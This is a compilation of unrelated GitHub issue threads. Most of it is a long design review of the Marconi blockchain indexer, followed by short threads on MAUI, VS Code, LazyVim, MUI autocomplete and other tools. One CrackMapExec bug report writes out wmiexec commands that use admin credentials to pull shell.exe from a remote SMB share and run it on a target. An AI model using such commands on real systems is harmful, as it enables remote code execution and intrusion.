New shiny indexer

Pre-submit checklist:

Branch

[ ] Tests are provided (if possible)
[ ] Commit sequence broadly makes sense
[ ] Key commits have useful messages
[ ] Formatting, PNG optimization, etc. are updated

PR

[ ] Self-reviewed the diff
[ ] Useful pull request description
[ ] Reference the ADR in the PR and reference the PR in the ADR (if revelant)
[ ] Reviewer requested

As the new data families and classes are meant to be reused then it would be great to add comments to them as to what they do and how implementing them will add up to a functioning indexer.
A second test for fit of purpose would be to implement any of the existing indexers using these.

The streaming part isn't (at least to me) obvious from this code -- what about having the spine of an indexer based on the streaming library as something like this (pseudocode):

import Streaming.Prelude qualified as Streaming
import Cardano.Streaming (ChainSyncEvent)
import Marconi.Streaming qualified as Common
import SomeSpecificIndexer qualified as Indexer

instance HasPoint Event

indexer :: Stream (Of Indexer.Event) IO a
indexer =
  source
    -- 1
    & toEvent
    -- 2
    & handleRollbacks 2160
    -- 3
    & storeSomewhere
    -- 4

  where
    source :: Stream (Of (ChainSyncEvent (BlockInMode CardanoMode))) IO r
    source = chainSyncFrom socketPath networkId point
    -- ^ Get a stream of blocks from socket.

    toEvent :: Stream (Of (ChainSyncEvent (BlockInMode CardanoMode))) IO r
            -> Stream (Of (ChainSyncEvent Indexer.Event)) IO r
    toEvent = Indexer.toEvent
    -- ^ Convert blocks from chain sync to events that are indexer
    -- specific. Note that rollbacks are still unhandled.

    handleRollbacks
      :: HasPoint a
      => Int
      -> Stream (Of (ChainSyncEvent a)) IO r
      -> Stream (Of a) IO r
    handleRollbacks = Common.ringbuffer
    -- ^ Peel off the ChainSyncEvent wrapper (it's defined
    -- approximately as `ChainSyncEvent a = RollForward a ChainPoint |
    -- Rollback ChainPoint)` which functions as a sponge up to @n@
    -- filling the buffer, starting to yield events that are past
    -- the rollback horizon.
    --
    -- This can either be the in-memory ringbuffer implemented as
    -- vector, or something that persists even the temporary events to
    -- disk. The implementation doesn't leak into the type, it just
    -- handles rollbacks.

    storeSomewhere
      :: Stream (Of Indexer.Event) IO r
      -> Stream (Of Indexer.Event) IO r
    storeSomewhere = Indexer.storeInSqlite "<name-of-db>"
    -- ^ Write the events to disk. Also yield the events onwards after
    -- they are persisted.

-- | Run this indexer in IO
indexer_ :: IO r
indexer_ = Streaming.effects indexer

The above has the benefits of

for any use case where rollbacks are not importand, e.g rapid development, then line with handleRollbacks can simply be replaced by Streaming.mapMaybe (\case (RollForward a Point) -> Just a; _ -> Nothing).
rollback handling by any given method is not coupled into the indexer (just replace handleRollbacks with another implementation, e.g one that stores to disk or database).
method of storing events is swapped by replacing storeSomewhere
all parts of the event pipeline have isolated purpose and are testable separately
the "stages of permanence" at which events are, are clear (temporary, permanent in blockchain, persisted to disk by the indexer). To monitor them at any of these then locations 2, 3, or 4 could respectively be used to add something like Streaming.chain (\event -> .. write to some concurrent variable ..).
the event "monitor" above could be an HTTP server.

If the server needs to send push events (notifications), then the same locations can be used to concurrently channel events to the HTTP server's thread.
If it answers queries across all indexed events, then for

persisted events the database would need to be queried in a separate thread.
if also for in-memory events, then the rollback handler would need to be extended with its own concurrent variable to communicate with the HTTP server's thread.

as with the streaming package, events are processed one by one, so it will also DRY up the RollBackward case in innerLoop, remove the need for the Coordinator and also probably the ..Worker functions in general.

(Will write comments in here and in code. Starting)
Data families: still, what is the purpose of these? For example how is this:
data family Orderable a

class Ord_ a where
  compare_ :: Orderable a -> Orderable a -> Ordering

newtype instance Orderable Int = Int_ Int

instance Ord_ Int where
  compare_ (Int_ a) (Int_ b) = compare a b

better than the simple this:
class Ord_ a where
  compare_ :: a -> a -> Ordering

instance Ord_ Int where.
  compare_ a b = Prelude.compare a b

Why the extra hoop to jump through? A type class encodes what the type is able to do, a data family adds ... ?

A second issue with data families now that I've tried: I think the h parameter (e.g for StorableEvent) might need to be some fresh type created for some particular indexer (data UtxoAddressToSqliteIndexer) and derive all the rest from that type. This is because a Handle type couldn't be reused anyway (there can't be multiple StorableEvent Handles in scope), but we would like to run our indexers simultaneously. (Does this make sense?)

Also, the duplication of rollback handling mentioned above will still remain, given the new indexer, perhaps it could be DRYied up somehow.

Done for now.

(Will write comments in here and in code. Starting)
Data families: still, what is the purpose of these? For example how is this:
data family Orderable a

class Ord_ a where
  compare_ :: Orderable a -> Orderable a -> Ordering

newtype instance Orderable Int = Int_ Int

instance Ord_ Int where
  compare_ (Int_ a) (Int_ b) = compare a b

better than the simple this:
class Ord_ a where
  compare_ :: a -> a -> Ordering

instance Ord_ Int where.
  compare_ a b = Prelude.compare a b

Why the extra hoop to jump through? A type class encodes what the type is able to do, a data family adds ... ?

If the use-case is a type class with only one variable, then there is not much use for it, but in this case that is not what we have to work with. Our type class(es) would generally have type parameters for the monad in which they run (1), the type of the database handle (2), the type of events it handles (3), the type of points (4), the type of queries (5) and the type of results (6).
5 of these variables semantically depend on the way we store things in the database. It is unlikely that we will have a different database structure (that includes the database and the tables) that stores the same kind of events, mostly because if that is the case combining the indexers makes a lot more sense.
So here is a list of reasons why I think type families are useful here:

It simplifies the signature of the type classes by only including 2 type variables rather than 6.
It provides a better description of the meaning of what used to be one letter variable (StorablePoint vs p)
It points to a dependency between the said variables (to which I already alluded).

There is also another hidden benefit to using data families (type families will not work very well for this). If we decide to switch from several classes to only one and gather all the data under that definition. This is not the case right now, but it is a possibility.

A second issue with data families now that I've tried: I think the h parameter (e.g for StorableEvent) might need to be some fresh type created for some particular indexer (data UtxoAddressToSqliteIndexer) and derive all the rest from that type. This is because a Handle type couldn't be reused anyway (there can't be multiple StorableEvent Handles in scope), but we would like to run our indexers simultaneously. (Does this make sense?)

This is mentioned in the comments here: https://github.com/input-output-hk/plutus-apps/pull/691/files#diff-b87396626c72b11a1e23d16c58fca2fa643ce7dc06f0f414d4a356e377453ed8R57-R61 and https://github.com/input-output-hk/plutus-apps/pull/691/files#diff-e36d392fc09a3195f1fe88e074c41529140b496fe07891a78248108a93a23574R41-R42. I am not sure it's an issue or an opportunity. I think it's an opportunity for users of the API to include a specific configuration for their indexer, since the h parameter is passed into all the functions.

Also, the duplication of rollback handling mentioned above will still remain, given the new indexer, perhaps it could be DRYied up somehow.

Couldn't we use https://github.com/input-output-hk/plutus-apps/pull/691/files#diff-b87396626c72b11a1e23d16c58fca2fa643ce7dc06f0f414d4a356e377453ed8R284-R310 for all indexers?

If the use-case is a type class with only one variable, then there is not much use for it, but in this case that is not what we have to work with. Our type class(es) would generally have type parameters for the monad in which they run (1), the type of the database handle (2), the type of events it handles (3), the type of points (4), the type of queries (5) and the type of results (6).
5 of these variables semantically depend on the way we store things in the database. It is unlikely that we will have a different database structure (that includes the database and the tables) that stores the same kind of events, mostly because if that is the case combining the indexers makes a lot more sense.
So here is a list of reasons why I think type families are useful here:
1. It simplifies the signature of the type classes by only including 2 type variables rather than 6.

2. It provides a better description of the meaning of what used to be one letter variable (`StorablePoint` vs `p`)

3. It points to a dependency between the said variables (to which I already alluded).

There is also another hidden benefit to using data families (type families will not work very well for this). If we decide to switch from several classes to only one and gather all the data under that definition. This is not the case right now, but it is a possibility.

There is such a thing as associated type families and associated data families which tie the related types together. Something like
class Indexer h where
  type StorableEvent h
  type Monad_ h :: Type -> Type -- otherwise it's inferred as Type
  -- .. and other types

  persistToStorage :: Foldable f => f (StorableEvent h) -> h -> (Monad_ h) h
  getStoredEvents :: h -> m [StorableEvent h]
  rewindStorage :: StorableEvent h -> h -> (Monad_ h) (Maybe h)

  -- .. and other functions

To implement:
data UtxoAddressIndexer = UtxoAddressIndexer Sql.Connection
instance Indexer UtxoAddressIndexer where
  type StorableEvent UtxoAddressIndexer = Marconi.Index.Utxo.UtxoUpdate -- for example
  type Monad_ UtxoAddressIndexer = IO
  -- .. and so on

The above is done using type families, but data families could be used as well. But data families can be inconvenient if you already have the event type defined elsewhere -- now you need to make a data family instance as well with no extra benefit.

Couldn't we use https://github.com/input-output-hk/plutus-apps/pull/691/files#diff-b87396626c72b11a1e23d16c58fca2fa643ce7dc06f0f414d4a356e377453ed8R284-R310 for all indexers?

I guess the answer is no then because rewind is already used in the linked location as well.
There is a case statement with RollForward/RollBackward in every indexer's worker, why does each of them handle rollbacks separately, can't it be done uniformly?

There is such a thing as associated type families and associated data families which tie the related types together. Something like
class Indexer h where
  type StorableEvent h
  type Monad_ h :: Type -> Type -- otherwise it's inferred as Type
  -- .. and other types

  persistToStorage :: Foldable f => f (StorableEvent h) -> h -> (Monad_ h) h
  getStoredEvents :: h -> m [StorableEvent h]
  rewindStorage :: StorableEvent h -> h -> (Monad_ h) (Maybe h)

  -- .. and other functions

To implement:
data UtxoAddressIndexer = UtxoAddressIndexer Sql.Connection
instance Indexer UtxoAddressIndexer where
  type StorableEvent UtxoAddressIndexer = Marconi.Index.Utxo.UtxoUpdate -- for example
  type Monad_ UtxoAddressIndexer = IO
  -- .. and so on

The above is done using type families, but data families could be used as well. But data families can be inconvenient if you already have the event type defined elsewhere -- now you need to make a data family instance as well with no extra benefit.

As far as I know associated types/data families are syntactic sugar for the unassociated ones. But indeed, there are associated types. What I don't understand is: Are they superior to the current implementation? If so, in which way? If your point is that we could use only one type class for the indexer, that is true and something I considered, but I also think that there is value in having several interfaces across the functionalities that you want to support (some indexers may not care about rollbacks, others about resume, etc).
Another difference between data and type families is that type families are not injective whereas data families are. That is the reason why I chose data families for this implementation. I also think that it's more likely than not that the events the indexer will handle will need to be defined within the indexer module, so it seemed like a good compromise to make. I think data families are easier to understand and work with (lack of injectivity can be surprising to a less experienced developer).

Couldn't we use https://github.com/input-output-hk/plutus-apps/pull/691/files#diff-b87396626c72b11a1e23d16c58fca2fa643ce7dc06f0f414d4a356e377453ed8R284-R310 for all indexers?

I guess the answer is no then because rewind is already used in the linked location as well.
There is a case statement with RollForward/RollBackward in every indexer's worker, why does each of them handle rollbacks separately, can't it be done uniformly?

Indexers were not really meant to be bunched together. Initially the idea was that we could even distribute indexers across different machines. In that case why would we want to optimise for scenarios where we are using them together?
Even if that was the case it is not clear to me what you mean by handling rollbacks in a consistent way across all indexers. I think that a 'generic' rewind method (based on the Rewindable constraint implemented by an indexer) could be called with whatever indexer implements that constraint. Wouldn't that count as 'unformly'? Each indexer will have to rollback it's on-disk data in different ways in this current iteration of the design. So that part of the code cannot be 'uniform' unless we choose to go with another design.
I guess I am not sure I understand what you mean by 'uniform' (or why doesn't the rewind function cover that).

As far as I know associated types/data families are syntactic sugar for the unassociated ones. But indeed, there are associated types. What I don't understand is: Are they superior to the current implementation? If so, in which way? If your point is that we could use only one type class for the indexer, that is true and something I considered, but I also think that there is value in having several interfaces across the functionalities that you want to support (some indexers may not care about rollbacks, others about resume, etc).

I don't think they are syntactic sugar because you can't define an associated type or data family outside of the class, and that would also be the reason to have them in the class: there is no point in having a StorableEvent of something where there is no associated instance declaration that actually does the storing. Also, the data families stand separately, so one could define instances for one of these without defining the other, and yet still not defining a instance that does any of the storing.

Another difference between data and type families is that type families are not injective whereas data families are. That is the reason why I chose data families for this implementation. I also think that it's more likely than not that the events the indexer will handle will need to be defined within the indexer module, so it seemed like a good compromise to make. I think data families are easier to understand and work with (lack of injectivity can be surprising to a less experienced developer).

If two separate indexers have the same event type what would be the problem? Isn't it the opposite that if you already had a type that would fit as the event then now you still need to create yet another data instance for it?

Indexers were not really meant to be bunched together. Initially the idea was that we could even distribute indexers across different machines. In that case why would we want to optimise for scenarios where we are using them together?
Even if that was the case it is not clear to me what you mean by handling rollbacks in a consistent way across all indexers. I think that a 'generic' rewind method (based on the Rewindable constraint implemented by an indexer) could be called with whatever indexer implements that constraint. Wouldn't that count as 'unformly'? Each indexer will have to rollback it's on-disk data in different ways in this current iteration of the design. So that part of the code cannot be 'uniform' unless we choose to go with another design.
I guess I am not sure I understand what you mean by 'uniform' (or why doesn't the rewind function cover that).

Right, so in the Marconi.Indexers there is a worker for each indexer, and each of these indexers has a case statement to branch out forward and rewind, and the rewind branch does exactly the same thing for each of them. So to uniformly handle rollbacks would be to handle rollbacks before any of the workers receives the event to insert it.
If we have a way to stick a rollback handler in front of an indexer then we don't optimise for a specific scenario, but will have composable way to either handle indexers together, or not. Currently we seem to optimise for the scenario where we definitely don't want to handle them together, but we for some reason do in Marconi.Indexers. (Maybe that is a use case we never want?)

I don't think they are syntactic sugar because you can't define an associated type or data family outside of the class, and that would also be the reason to have them in the class: there is no point in having a StorableEvent of something where there is no associated instance declaration that actually does the storing. Also, the data families stand separately, so one could define instances for one of these without defining the other, and yet still not defining a instance that does any of the storing.

I don't know where I got that idea from, but indeed they are not the same. StorableEvent is used in almost all other classes, though. And someone can define instances only for some data families, if only those are needed by the type class that they want to implement. I think that is fine.

If two separate indexers have the same event type what would be the problem? Isn't it the opposite that if you already had a type that would fit as the event then now you still need to create yet another data instance for it?

Yes. What I am saying is that the second scenario is fairly unlikely. Taking a look at existing code I don't think it has happened so far, but if it would a newtype instance wrapper is not really all that bad imho if we get injectivity.

I guess I am not sure I understand what you mean by 'uniform' (or why doesn't the rewind function cover that).

Right, so in the module Marconi.Indexers there is a worker for each indexer, and each of these indexers has a case statement to branch out forward and rewind, and the rewind branch does exactly the same thing for each of them. So to uniformly handle rollbacks would be to handle rollbacks before any of the workers receives the event to insert it.

That is indeed one of the things we are trying to fix long-term. To have a more scalable solution for indexing the blockchain. Going for indexers that can be optionally deployed separately seems like a much better idea than running as many as possible in the same process.

If we have a way to stick a rollback handler in front of an indexer then we don't optimise for a specific scenario, but will have composable way to either handle indexers together, or not. Currently we seem to optimise for the scenario where we definitely don't want to handle them together, but we for some reason do in Marconi.Indexers. (Maybe that is a use case we never want?)

What would that handler do though? It needs to delete different tables from different databases using different code for each, right? How would you make that generic? How would you update the internal indexer data to say something like reset your internal state to slot X then resume operation if that information never reaches the indexer?
That may have worked for previous indexers which did not store any immutable data on disk (so we can have an immutable, generic rollback of in-memory data), but in our case, now, we do store mutable data on-disk. And we do that because the memory requirements for storing all the volatile data in memory are fairly harsh and as the blockchain gets larger, they will only get higher.

While looking at the indexer workers, each of the indexers have their own ring buffer (as it comes inside the indexer), so we now have n instances of it. I also think that we actually do have a way to run them together, because if we say that any indexer would have it's own executable then any user who wants more than one thing to be indexed will still run several of these executables, and thus will still have several instances of a ring buffer.

But.. the instances of the ring buffers will store different events, so I don't see that as a problem. Also, the current implementation does not really use a ring buffer anymore. It uses a vector, but simply as a linear buffer, when filled it's flushed.

Indexers were not really meant to be bunched together. Initially the idea was that we could even distribute indexers across different machines. In that case why would we want to optimise for scenarios where we are using them together?

The node and db-sync are already run on the same machine, so it's likely that marconi will too (?). If each indexer has it's own event type then indeed each indexer would need it's own buffer. But if we had blocks in the buffer then that could be re-used across all downstream indexers.

Even if that was the case it is not clear to me what you mean by handling rollbacks in a consistent way across all indexers. I think that a 'generic' rewind method (based on the Rewindable constraint implemented by an indexer) could be called with whatever indexer implements that constraint. Wouldn't that count as 'unformly'? Each indexer will have to rollback it's on-disk data in different ways in this current iteration of the design. So that part of the code cannot be 'uniform' unless we choose to go with another design.
I guess I am not sure I understand what you mean by 'uniform' (or why doesn't the rewind function cover that).

Uniformly in the sense that there is only one set of blocks that need to be rolled back when multiple indexers are run together. This would mean that all indexers would need to be downstream from the rollback handler.

The node and db-sync are already run on the same machine, so it's likely that marconi will too (?). If each indexer has it's own event type then indeed each indexer would need it's own buffer. But if we had blocks in the buffer then that could be re-used across all downstream indexers.

Not necessarily. Marconi is much more light-weight than db-sync, and with the query interface taking slot intervals you can fairly easily distribute them across different machines. The only downside would be connecting to the node via a network, which does affect the synchronisation speed (the speed can be improved).
How would you share those buffers across different machines on the network? This design would make the whole system less scalable, which is one of the main design goals of Marconi.

Each indexer will have to rollback it's on-disk data in different ways in this current iteration of the design. So that part of the code cannot be 'uniform' unless we choose to go with another design.

Uniformly in the sense that there is only one set of blocks that need to be rolled back when multiple indexers are run together. This would mean that all indexers would need to be downstream from the rollback handler.

How would the rollback handler know how to alter the on-disk database for all the indexers, generically?

Not necessarily. Marconi is much more light-weight than db-sync, and with the query interface taking slot intervals you can fairly easily distribute them across different machines. The only downside would be connecting to the node via a network, which does affect the synchronisation speed (the speed can be improved).

It doesn't matter how light-weight Marconi is if the data is gotten over the network. db-sync isn't recommended to run on the same machine as node because it's so heavyweight, but because there is no network latency so it's faster.

How would you share those buffers across different machines on the network? This design would make the whole system less scalable, which goes against one of the main design goals of Marconi.

When run on different machines then they won't share buffers, but currently there is no way to share buffers even when running on the same machine.

It doesn't matter how light-weight Marconi is if the data is gotten over the network. db-sync isn't recommended to run on the same machine as node because it's so heavyweight, but because there is no network latency so it's faster.

This was one of the main complaints that our users had though, so I think it does matter.

When run on different machines then they won't share buffers, but currently there is no way to share buffers even when running on the same machine.

... and if you think that is a worthwhile thing to do, then you can go ahead, propose an ADR, write up an implementation and go from there. Personally, I don't think it is worth the trouble, but that is just my opinion. However, this PR is not really about sharing the in-memory data or about switching the whole implementation to use streaming.

I think this PR would be much better if there would be any of our real indexers implemented. As it stands it would be tough for even me to use it.
There are comments above unanswered, few of them low hanging fruit and easy to implement.


[WIP] Main node config status check

Addresses issue #104.
Depends on #111.

@Alex6323 Can this be closed?


Sample DataTemplateSelector

Hi, is there a sample for DataTemplateSelector. I tried the github search but didn't find it.
I'm able to create my own class that inherits MauiControls.DataTemplateSelector but not sure where to set it.
    public class MyDataTemplateSelector : DataTemplateSelector
    {
        protected override DataTemplate OnSelectTemplate(object item, BindableObject container)
        {
            if (item is not MyClass myItem)
                return OnSelectTemplate(item, container);

            return myItem.CellType switch
            {
                MyViewCellType.A => new DataTemplate(typeof(AViewCell)),
                MyViewCellType.B => new DataTemplate(typeof(BViewCell)),
                MyViewCellType.C => new DataTemplate(typeof(CViewCell)),
                _ => new DataTemplate(typeof(DViewCell)),
            };
        }
    }

Thank you!

Hi, you probably shouldn't use a template selector at all.
Where are you going to use the template selector? for example, if using a CollectionView just provide a Render function that renders your UI based on the Item.

Migrating old code to reactor-maui that uses ListView with DataTemplateSelector. Will switch to CollectionView. Thanks!

Yes, you can still use the listview: https://github.com/adospace/reactorui-maui/blob/main/samples/MauiReactor.TestApp/Pages/ListViewExtendedTestPage.cs

Yes, you can still use the listview: https://github.com/adospace/reactorui-maui/blob/main/samples/MauiReactor.TestApp/Pages/ListViewExtendedTestPage.cs

It works. Thank you!
I was overthinking it. The code was crashing when scrolling the ListView but that was due a bug in my code :)


fix env direction

Description of the change:
Reason for the change:
Link to original source:

Closes #

 Thank you for your submission, we really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.

Hello @wdharmana,Thanks again for the PR! It's HACKTOBERFEST! We want to show our appreciation by sending                                              you some special Hacktoberfest swag. If you have not already, could you please fill out                                              this form so we can send it to you? Thanks!                                             Team SendGrid DX


Build Issues

Trying to pull down master and build.
npm install
npm run build
results in an error during rollup
Error: ".../ngx-inline-editor/build/inline-editor.module.js" does not exist in the hypothetical file system!
I was hoping to take a stab at upgrading this, but seem to not even be able to build it, if you can help get me past this hurdle I'd love to take a stab at upgrading this,

Hi @KeithGillette, the current build process is going to change. We had have a lot of work and not time :disappointed:. I will release a new version with changes in design to resolve some critical problems and update to latest angular. #127 is resolved in new version, thanks to take your time to help us.
I'm sorry to not be too active here and I will inform when the new release is out


test(e2e): send install report

Test sending an xray report as a result of the install e2e test.

bors try

bors try

bors try

bors try

bors try

bors try

bors try

bors try

bors try

bors try

bors r-

bors try-

bors try

bors try

bors try

bors try

bors try

bors try

bors try

Re-submit PR as it has changed significantly in scope


Error: ENOENT: no such file or directory

VSCode Version: 1.40.0
OS Version: CentOS Linux release 7.2.1511
Node: v10.17.0

Steps to Reproduce:

git clone https://github.com/microsoft/vscode.git
cd vscode
yarn --port=8888
yarn web --port=8888

yarn run v1.19.1
$ node scripts/code-web.js --port=8888
Web UI available at http://localhost:8888
Error: ENOENT: no such file or directory, stat '/apps/product/server/vscode/vscode/out/vs/code/browser/workbench/workbench.js'

Does this issue occur when all extensions are disabled?: Yes/No No

My machine is a server， That issue doesn't solve the problem

yarn
...........
...........

<EMAIL_ADDRESS>compile /apps/product/server/vscode/vscode/test/smoke
yarn --cwd ../automation compile && tsc

yarn run v1.19.1
$ npm run copy-driver && npm run copy-driver-definition && tsc
npm WARN lifecycle The node binary used for scripts is /tmp/yarn--1573613859073-0.8023700687972288/node but npm is using /apps/product/server/nodejs/bin/node itself. Use the --scripts-prepend-node-path option to include the path for the node binary npm was executed with.

<EMAIL_ADDRESS>copy-driver /apps/product/server/vscode/vscode/test/automation
cpx src/driver.js out/

npm WARN lifecycle The node binary used for scripts is /tmp/yarn--1573613859073-0.8023700687972288/node but npm is using /apps/product/server/nodejs/bin/node itself. Use the --scripts-prepend-node-path option to include the path for the node binary npm was executed with.

<EMAIL_ADDRESS>copy-driver-definition /apps/product/server/vscode/vscode/test/automation
node tools/copy-driver-definition.js

Done in 3.63s.
Done in 7.17s.
Installing dependencies in /apps/product/server/vscode/vscode/build/lib/watch...
$ yarn
yarn install v1.19.1
[1/4] Resolving packages...
success Already up-to-date.
Done in 0.11s.
Done in 30.01s.

Only three for server users
1 git clone https://github.com/microsoft/vscode.git
2 yarn
3 yarn web
There should be no problem with the procedure, right?

Check that the response directory does not have the js to load
./out/vs/code/browser/workbench/workbench.js


getValue() returns old value after search & replace function

After using search & replace in your editor, the getValue() method returns the old value... would it be possible to trigger a valueChange event after user replaced text via that function or any other method to get the real client side value?

Hi @sirbris,
Sorry for the late reply.
Unfortunately the search & replace functionality is completely provided by ace. So there is no way to create a custom hook etc.
But I think it is still possible to work around this.
Some time ago the AceChangedEvent was introduced in #21. Maybe, just maybe, you can get the value by registering the AceChangedEvent (which will send a lot of data) as soon as someone hits ctrl + f, wait until all the changes are done (maybe through a debounce function or something like that) and then unregister the `AceChangedEvent'.
If that's not possible or doesn't work the way I thought it would, it would require a major change to the lit-ace frontend and the @f0rce/ace-builds repo (because the ace editor has some custom functionality like the status bar, etc).
Please let me know if this has pointed you in the right direction or solved the problem.
Take care,
David

Works if you do a server roundrip afterwards.
So in my case i made somthing like this
public class MyAceEditor extends AceEditor {
@ClientCallable
public boolean roundtrip() {
return true;
}
}
and called it by the executeJs() method on the AceEditor object
aceEditor.sync();
aceEditor.getElement().executeJs("document.getElementById('yourAceEditorId').$server.roundtrip()").then(event -> {
//do what you want to do with the new value :)
System.out.println(aceEditor.getValue());
});


bug:  clangd has no reaction to clang-tidy

Did you check docs and existing issues?

[X] I have read all the LazyVim docs
[X] I have searched the existing issues of LazyVim
[X] I have searched the existing issues of plugins related to this issue

Neovim version (nvim -v)
0.10.0
Operating system/version
archlinux
Describe the bug
can't get information from clagd-tidy
Steps To Reproduce
I install lazyvim online, and just add two line configuration without any other change

but there no any prompt here from clang-tidy

the lspinfo

the lsplog

Expected Behavior

Repro
No response

This is not a bug, but a configuration issue. Clangs is connected, so that's working as it should. No idea what clang tidy is or how to set it up with the LSP.


Social auth endpoints should require login if possible

This precludes using them for social auth, but we've disabled that functionality already anyways.

I looked at these views to see if it was easy to add the requirement that a user is already logged in to Open Humans and it seemed hard to do it via subclassing.
It occurs to me now that a middleware approach would be much easier.


what is scr folder

There are sometime you mention the scr folder, is it the scr folder of the OS of the MagicMirror folder. Thank you

oh I just realize there is scr folder in this project, my bad


Execute code via wmiexec requires port 445 to be open

Describe the bug
When executing code via wmiexec and crackmapexec, port 445 is required to be open. If a smb service is running on the system it is not possible to use wmiexec to execute code (Error: Error starting SMB server on port 445: the port is already in use). Even providing a custom port via the --smb-server-port option does not execute the code.
The code gets successfully executed using wmiexec.py from impacket.
To Reproduce
Create a share on kali and start the smb service.
Then execute the following commands.
crackmapexec smb <IP_ADDRESS> -u Administrator -p $PASSORD --local-auth --exec-method wmiexec -x "mkdir C:\\temp & net use \\\\<IP_ADDRESS>\\print$ /user:shareuser $SMBPASS & copy \\\\<IP_ADDRESS>\\print$\\shell.exe C:\\temp\\shell.exe & net use \\\\<IP_ADDRESS>\\print$ /delete & cmd /c C:\\temp\\shell.exe" -> Not Working

crackmapexec smb <IP_ADDRESS> -u Administrator -p $PASSORD --local-auth --exec-method wmiexec -x "mkdir C:\\temp & net use \\\\<IP_ADDRESS>\\print$ /user:shareuser $SMBPASS & copy \\\\<IP_ADDRESS>\\print$\\shell.exe C:\\temp\\shell.exe & net use \\\\<IP_ADDRESS>\\print$ /delete & cmd /c C:\\temp\\shell.exe" --smb-server-port 1337 -> Not working

python3 wmiexec.py<EMAIL_ADDRESS>"mkdir C:\\temp & net use \\\\<IP_ADDRESS>\\print$ /user:shareuser $SMBPASS & copy \\\\<IP_ADDRESS>\\print$\\shell.exe C:\\temp\\shell.exe & net use \\\\<IP_ADDRESS>\\print$ /delete & cmd /c C:\\temp\\shell.exe" -> Working

Expected behavior
Code should get executed.
Screenshots

Crackmapexec info

OS: Kali Linux
Version of CME: 5.1.6dev

Will fix that this week end

Done !


.gguf files not supported?

I tried to scan a .gguf file and receive the following:

I checked inside the modelscan-settings.toml and it appears that .gguf is not listed.
Are these file types not supported yet?

Correct, they are not supported yet but we are doing research to understand the threats within them. We are not aware of the exact same issue that plague other formats like Pickle yet.
Once we identify anything that's a problem the work will make its way to ModelScan!

Closing as this isn't a bug. For the record, there does exist vulnerabilities in loading gguf and ggml files:
https://www.databricks.com/blog/ggml-gguf-file-format-vulnerabilities


Python Issue! Failed to place market order. Error: 'Spot' object has no attribute 'newOrderTest'

Failed to place market order. Error: 'Spot' object has no attribute 'newOrderTest'
Failed to place market order. Error: 'Spot' object has no attribute 'newOrder' also not working.
from mexc_sdk import Spot
Initialize the MEXC client with your API credentials
client = Spot(api_key=api_key, api_secret=api_secret)
For example,
try:
if trade_id is not None:
sell_order_response = client.newOrderTest(symbol=symbol, side='SELL', orderType='MARKET', options={'quantity': initial_quantity})
sell_order_id = sell_order_response['orderId']
logger.info("Market sell order placed successfully. Order ID: %s", sell_order_id)

hey, try: client.new_order_test().


Cluster Stats page

Feature request: a Cluster Stats page, Nagios style. Display relevant Riak stats per node, but in table format, with the stats in rows and nodes in columns. Starting, for example, with the stats listed here:
http://docs.basho.com/riak/latest/cookbooks/Statistics-and-Monitoring/#Riak-Metrics-To-Graph

Comment for Jira.


Enabling autocomplete filtering using multiple fields instead of just "getOptionLabel" field

Currently using Autocomplete component of material UI,  by default I can only filter options basing on "getOptionLabel" field. however, with "createFilterOptions" I can add another additional field like following.
const filterOptions = createFilterOptions({   matchFrom: 'start',   stringify: option => option.title, });

I am wondering if I could be able to do something like below(should be able to filter with all the fields in the object)
const filterOptions = createFilterOptions({   matchFrom: 'start',   stringify: option => option, });
Examples 🌈
here I am using match-sorter to include multiple fields(title and year) for filtering as per docs. can I achieve this without "match-sorter"?
https://codesandbox.io/s/material-demo-urobl?file=/demo.js:618-632

Motivation 🔦
so that I don't have to use another library to achieve this functionality.

@NaveenKJammula You can concatenate the fields you want to search in https://material-ui.com/components/autocomplete/#custom-filter.

@NaveenKJammula You can concatenate the fields you want to search in material-ui.com/components/autocomplete/#custom-filter.

Just ran into this too, and concatenating would work for the default matchFrom: 'any', but not matchFrom: 'start'. For example, if you have an object with GME and Gamestop strings, and you want to search for Gamestop, if you concatenate GME - Gamestop, then you won't be able to match it from the start.

@oliviertassinari would you be open to the following diff? The main difference being you can return multiple strings from stringify, and they'll all be tried.
diff --git a/packages/material-ui/src/useAutocomplete/useAutocomplete.js b/packages/material-ui/src/useAutocomplete/useAutocomplete.js
index d799fedbb8..af773e6c2a 100644
--- a/packages/material-ui/src/useAutocomplete/useAutocomplete.js
+++ b/packages/material-ui/src/useAutocomplete/useAutocomplete.js
@@ -30,15 +30,22 @@ export function createFilterOptions(config = {}) {
     }

     const filteredOptions = options.filter((option) => {
-      let candidate = (stringify || getOptionLabel)(option);
-      if (ignoreCase) {
-        candidate = candidate.toLowerCase();
-      }
-      if (ignoreAccents) {
-        candidate = stripDiacritics(candidate);
-      }
+      const strings = (stringify || getOptionLabel)(option);
+      const candidates = Array.isArray(strings) ? strings : [strings];
+
+      return candidates.some((_candidate) => {
+        let candidate = _candidate;
+        if (ignoreCase) {
+          candidate = candidate.toLowerCase();
+        }
+        if (ignoreAccents) {
+          candidate = stripDiacritics(candidate);
+        }

-      return matchFrom === 'start' ? candidate.indexOf(input) === 0 : candidate.indexOf(input) > -1;
+        return matchFrom === 'start'
+          ? candidate.indexOf(input) === 0
+          : candidate.indexOf(input) > -1;
+      });
     });

     return typeof limit === 'number' ? filteredOptions.slice(0, limit) : filteredOptions;

@NMinhNguyen What's the advantage over?
const filterOptions = createFilterOptions({
  matchFrom: 'start',
  stringify: (option) => `${option.a} ${option.b}`,
});

@NMinhNguyen What's the advantage over?
const filterOptions = createFilterOptions({
  matchFrom: 'start',
  stringify: (option) => `${option.a} ${option.b}`,
});

If you read my above reply, you'll see that given an object
const option = { a: 'GME', b: 'Gamestop' }

stringify(option) // 'GME Gamestop'

'GME Gamestop'.startsWith('Game') // false

@NMinhNguyen Ok, thanks for the explaination

For now it was simple enough for me to copy & paste the createFilterOptions function into my own code and modify that, but if you're happy with the diff, I'll PR it with .d.ts changes, docs and tests.

@NMinhNguyen I think that we can delay the topic for some time. createFilterOptions is only meant to be a quick and dirty patch until developers implement something that match their use case


externalcontrol just stops. rt kernel needed?

Hi, I have issues using the offline non-linux URSim and a separate VM for the UR ROS2 driver.
The externalcontrol script stops after starting without giving me a clear reason. Logs are attached for context. log_history.txt and URControl.log is copied from the URSim, and the ur_bringup.log is the output of a ros2 launch ur_bringup... command, but is included for context to see what's happening on the ROS2 driver side.
log_history.txt
URControl.log
ur_bringup.log
